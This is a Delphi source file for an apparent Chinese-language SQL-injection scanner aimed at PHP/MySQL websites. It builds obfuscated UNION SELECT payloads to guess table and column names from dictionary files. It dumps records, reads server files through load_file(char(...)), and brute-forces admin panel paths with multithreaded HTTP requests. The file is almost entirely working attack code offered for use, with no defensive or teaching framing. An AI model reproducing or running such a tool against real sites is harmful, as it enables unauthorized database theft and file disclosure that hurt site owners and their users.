unit1.pas

PHP+MYSQL网站注入扫描工具

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Spin, StdCtrls, ComCtrls, Buttons, ExtCtrls, IDHTTP, unit2, Unit3,
  OleCtrls, SHDocVw;

type
  TForm1 = class(TForm)
    Panel8: TPanel;
    Label15: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    EdtInjUrl: TEdit;
    EdtKey: TEdit;
    EdtFieldNum: TEdit;
    rdbNum: TRadioButton;
    rdbChar: TRadioButton;
    Panel1: TPanel;
    pcPHPInj: TPageControl;
    TabSheet1: TTabSheet;
    sbscan1: TSpeedButton;
    sbstop1: TSpeedButton;
    sbscan2: TSpeedButton;
    sbstop2: TSpeedButton;
    Panel15: TPanel;
    GroupBox5: TGroupBox;
    lvTable: TListView;
    GroupBox6: TGroupBox;
    lvField: TListView;
    TabSheet2: TTabSheet;
    GroupBox7: TGroupBox;
    Label18: TLabel;
    Label19: TLabel;
    Label20: TLabel;
    Label21: TLabel;
    spField1: TSpinEdit;
    spField2: TSpinEdit;
    EdtField1: TEdit;
    EdtField2: TEdit;
    EdtTable: TEdit;
    EdtID: TEdit;
    GroupBox8: TGroupBox;
    Label22: TLabel;
    EdtFileName: TEdit;
    sbrecord: TSpeedButton;
    sbfile: TSpeedButton;
    MM: TMemo;
    sbscan: TSpeedButton;
    TabSheet3: TTabSheet;
    lsbDict: TListBox;
    TabSheet4: TTabSheet;
    wb: TWebBrowser;
    spNum: TSpinEdit;
    GroupBox1: TGroupBox;
    sbscan3: TSpeedButton;
    sbstop3: TSpeedButton;
    ListBox1: TListBox;
    TabSheet5: TTabSheet;
    MMAbout: TMemo;
    StatusBar1: TStatusBar;
    SpeedButton1: TSpeedButton;
    procedure sbscanClick(Sender: TObject);
    procedure sbstop1Click(Sender: TObject);
    procedure sbscan1Click(Sender: TObject);
    procedure sbscan2Click(Sender: TObject);
    procedure lvFieldClick(Sender: TObject);
    procedure lvTableClick(Sender: TObject);
    procedure sbrecordClick(Sender: TObject);
    procedure sbfileClick(Sender: TObject);
    procedure sbstop2Click(Sender: TObject);
    procedure sbscan3Click(Sender: TObject);
    procedure sbstop3Click(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
  private
    { Private declarations }
    Url,KeyWord:string;
    iStr,InjUrl:string;
    //弹出信息框
    procedure MsgBox(strMsg: string);
    procedure SetUrl;
    function Get(URL,Key: string): boolean;
    procedure InjTable;
    procedure FieldThreadExit(sender: TObject);
    procedure ManagerThreadExit(sender: TObject);
  public
    { Public declarations }
    pg1:TProgressBar;
  end;

var
  Form1: TForm1;
  scan :scanThread;  //扫描是否可以注入及表字段数线程
  scanField :array of scanFieldThread;   //扫描字段名线程组
  scanManager :array of scanManagerThread;  //扫描后台管理路径线程组
  scanTable: scanTableThread;  //扫描表段线程
  isFinish:boolean=false;

  N:integer=0;
  M:integer=0;

implementation


{$R *.dfm}

{ TForm1 }

procedure TForm1.MsgBox(strMsg: string);
begin
  Application.MessageBox(pchar(strMsg), '提示信息', mb_iconinformation);
end;

procedure TForm1.SetUrl;
begin
begin
  if rdbNum.Checked then
    Url := trim(EdtInjUrl.Text)
  else
    Url := trim(EdtInjUrl.Text)+#39;
end;
end;

procedure TForm1.sbscanClick(Sender: TObject);
begin
  if (EdtInjUrl.Text='') then
  begin
    MsgBox('请输入要注入的地址！');
    exit;
  end;
  if (EdtKey.Text='') then
  begin
    MsgBox('请输入要注入的关键字！');
    exit; 
  end;
  SetUrl;
  KeyWord:=trim(EdtKey.Text);
  pg1.Visible :=False;
  //scan :=scanThread.Create(Url,KeyWord,MM);
  scan :=scanThread.Create(False);
end;

function TForm1.Get(URL,Key: string): boolean;
var
  IDHTTP: TIDHttp;
  ss: String;
begin
  Result:= False;
  IDHTTP:= TIDHTTP.Create(nil);
  try
    try
      idhttp.HandleRedirects:= true;     //必须支持重定向否则可能出错
      idhttp.ReadTimeout:= 30000;       //超过这个时间则不再访问
      ss:= IDHTTP.Get(URL);
      if Key='' then
      begin
        if IDHTTP.ResponseCode=200 then
          Result :=true;
      end else
      begin
        if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
          Result :=true;
      end;
    except
    end;
  finally
    IDHTTP.Free;
  end;
end;

procedure TForm1.sbstop1Click(Sender: TObject);
begin
  stoped :=True;
end;

//不使用线程
procedure TForm1.InjTable;
var
  i,j:integer;
begin
  if (iStr='') or (KeyWord='') then exit;
  lsbDict.Items.Clear;
  lvTable.Items.Clear;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
  j:=0;
  isFinish :=False;
  Screen.Cursor :=crHourGlass;
  try
    for i:=0 to lsbDict.Count-1 do
    begin
      if isFinish then break;
      InjUrl:=Url+'/**/and/**/1=1/**/union/**/select/**/'+iStr+
              '/**/from/**/'+lsbDict.Items[i]+'/*';

      MM.Lines.Add(InjUrl);
      if Get(InjUrl,KeyWord) then
      begin
        inc(j);
        with lvTable.Items.Add do
        begin
          Caption :=IntToStr(j);
          SubItems.Add(lsbDict.Items[i]);
        end;
      end;
    end;
  finally
    Screen.Cursor :=crDefault;
  end;
end;

procedure TForm1.sbscan1Click(Sender: TObject);
var
  i:integer;
begin
  if (strtoint(EdtFieldNum.Text)<=0) or (KeyWord='') then exit;
  lsbDict.Items.Clear;
  lvTable.Items.Clear;
  MM.Clear;
  N :=0;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
  for i:=1 to strtoint(EdtFieldNum.Text) do
    iStr:=iStr+','+IntToStr(i);
  iStr :=copy(iStr,2,length(iStr)-1);
  //在一个线程内完成表段猜解工作
  scanTable :=scanTableThread.Create(Url,iStr,KeyWord,MM,lvTable);
end;

procedure TForm1.sbscan2Click(Sender: TObject);
var
  i,j,Sum:integer;
  tablename:string;
begin
  if lvTable.Items.Count<=0 then exit;
  if lvTable.SelCount<=0 then
  begin
    MsgBox('请选择一个表名！');
    exit;
  end;
  tablename :=trim(lvTable.Selected.SubItems.GetText);
  if tablename='' then exit;

  if isFinish=False then
  begin
    lsbDict.Items.Clear;
    lvField.Items.Clear;
    MM.Clear;
    N :=0;
    lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Field.txt');
    Sum :=lsbDict.Count;
    iStr :='';
        pg1.Min :=0;
    pg1.Max :=sum;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
    MM.Lines.Add('开始猜解字段。。。');
    MM.Lines.Add('');
    for i:=1 to strtoint(EdtFieldNum.Text) do
    begin
      if i=strtoint(spNum.Text) then
        iStr :=iStr+',&FIELDNAME&'
      else iStr :=iStr+','+inttostr(i);
    end;
    if iStr<>'' then
      iStr :=copy(iStr,2,length(iStr)-1);

    SetLength(scanField,Sum);   // 动态设置线程的数量
    //创建多个线程完成字段猜解
    for j:=0 to Sum-1 do
    begin
      scanField[j] := scanFieldThread.Create(Url,iStr,KeyWord,tablename,j,MM,lvField);
      scanField[j].OnTerminate := FieldThreadExit;
    end;
   // sbscan2.Caption :='停止';
  end;

 { try
    if isFinish=true then
    begin
      if (N>=lsbDict.Count) or (N<=0) then exit;
      if sbscan2.Caption='停止' then
      begin
        for j:=N to lsbDict.Count-1 do
        begin
          if scanField[j].FreeOnTerminate then
          begin
           // scanField[j].Suspend;
           // scanField[j].Free;
            scanField[j].Terminate;
          end;
        end;
        MM.Lines.Add('');
        MM.Lines.Add('字段猜解结束。。。');
        pg1.Visible :=False;
        sbscan2.Caption :='猜解';
        isFinish :=false;
        N:=0;
      end;
    end;
  except
  end;
  isFinish :=true;   }
end;

procedure TForm1.FieldThreadExit(sender: TObject);
begin
  inc(N);
  pg1.StepIt;
  if N = lsbDict.Count then
  begin
    isFinish :=false;
    MM.Lines.Add('');
    MM.Lines.Add('字段猜解结束。。。');
    pg1.Visible :=False;
    sbscan2.Caption :='猜解';
    exit;
  end;
end;

procedure TForm1.lvFieldClick(Sender: TObject);
begin
  if lvField.Selected.Caption='1' then
  begin
    EdtField1.Text :=lvField.Items[0].SubItems.GetText;
    spField1.Text :=lvField.Items[0].Caption;
  end else
  begin
    EdtField2.Text :=lvField.Selected.SubItems.GetText;
    spField2.Text :=lvField.Selected.Caption;
  end;
end;

procedure TForm1.lvTableClick(Sender: TObject);
begin
  EdtTable.Text :=lvTable.Selected.SubItems.GetText;
end;

procedure TForm1.sbrecordClick(Sender: TObject);
var i:integer;
begin
  iStr :='';
  for i:=1 to strtoint(EdtFieldNum.Text) do
  begin
    if i=strtoint(spField1.Text) then
      iStr :=iStr+','+trim(EdtField1.Text)
    else if i=strtoint(spField2.Text) then
      iStr :=iStr+','+trim(EdtField2.Text)
    else iStr :=iStr+','+inttostr(i);
  end;
  if iStr<>'' then
    iStr :=copy(iStr,2,length(iStr)-1);

  InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+iStr
          +'/**/from/**/'+trim(EdtTable.Text)+'/**/where/**/'+trim(EdtID.Text)+'/*';

  MM.Lines.Add(InjUrl);
  if Get(InjUrl,'') then
  begin
    wb.Navigate(InjUrl);
    pcPHPInj.ActivePageIndex :=3;
  end;
end;

procedure TForm1.sbfileClick(Sender: TObject);
var i,j:integer;
    str,fname:string;
begin
  if EdtFileName.Text='' then
  begin
    MsgBox('请输入要猜解的文件名！');
    exit;
  end;
  fname :=trim(EdtFileName.Text);
  iStr :='';
  for i:=1 to length(fname) do
  begin
     iStr :=iStr+','+ IntToStr(Ord(fname[i]));
  end;
  if iStr<>'' then
  begin
    iStr :=copy(iStr,2,length(iStr)-1);
    iStr :='load_file(char('+iStr+'))';
  end;

  str :='';
  for j:=1 to strtoint(EdtFieldNum.Text) do
  begin
    if j=strtoint(spNum.Text) then
      str :=str+','+iStr
    else str :=str+','+inttostr(j);
  end;
  if str<>'' then
    str :=copy(str,2,length(str)-1);

  InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+str+'/*';
  MM.Lines.Add(InjUrl);
  if Get(InjUrl,'') then
  begin
    wb.Navigate(InjUrl);
    pcPHPInj.ActivePageIndex :=3;
  end;
end;

procedure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
  if (N>=lsbDict.Count) or (N<=0) then exit;
  try
    for i:=N to lsbDict.Count-1 do
    begin
      if scanField[i].FreeOnTerminate then
      begin
        //scanField[i].Suspend;
        //scanField[i].Free;
        scanField[i].Terminate; {删除线程}
      end;
    end;
    MM.Lines.Add('');
    MM.Lines.Add('字段猜解结束。。。');
    pg1.Visible :=False;
    isFinish :=False;
    N:=0;
  except
  end;
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
  i,iPos,Sum:integer;
begin
    Url :=trim(EdtInjUrl.Text);
    if pos('http://',Url)>0 then
    begin
      Url :=copy(Url,8,length(Url)-7);
      iPos :=pos('/',Url)
    end else
      iPos :=pos('/',Url);
    Url :='http://'+copy(Url,1,iPos-1);
    if Url='' then exit;
    
    lsbDict.Items.Clear;
    ListBox1.Items.Clear;
    MM.Lines.Clear;
    M :=0;
    lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Manager.txt');
    Sum :=lsbDict.Count;
    pg1.Min :=0;
    pg1.Max :=sum;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
    MM.Lines.Add('开始猜解后台路径。。。');
    MM.Lines.Add('');
    SetLength(scanManager,Sum);   // 动态设置线程的数量
    ////开始扫描后台路径
    for i:=0 to Sum-1 do
    begin
      scanManager[i] := scanManagerThread.Create(Url,i,ListBox1,MM);
      scanManager[i].OnTerminate := ManagerThreadExit;
    end;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
  inc(M);
  pg1.StepIt;
  if M = lsbDict.Count then
  begin
    isFinish :=true;
    MM.Lines.Add('');
    MM.Lines.Add('后台路径猜解结束。。。');
    pg1.Visible :=False;
    exit;
  end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
  if (M>=lsbDict.Count) or (M<=0) then exit;
  try
    for i:=M to lsbDict.Count-1 do
    begin
      if scanManager[i].FreeOnTerminate then
      begin
        //scanManager[i].Suspend;
        //scanManager[i].Free;
        scanManager[i].Terminate;
      end;
    end;
    MM.Lines.Add('');
    MM.Lines.Add('后台路径猜解结束。。。');
    pg1.Visible :=False;
    M:=0;
  except
  end;
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  wb.Navigate(ListBox1.Items.GetText);
  pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  pg1 :=TProgressBar.Create(nil);
  pg1.Parent :=StatusBar1;
  pg1.Height :=StatusBar1.Height;
  pg1.Width :=StatusBar1.Width;
  pg1.Visible :=False;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  scanFinish :=true;
end;

end.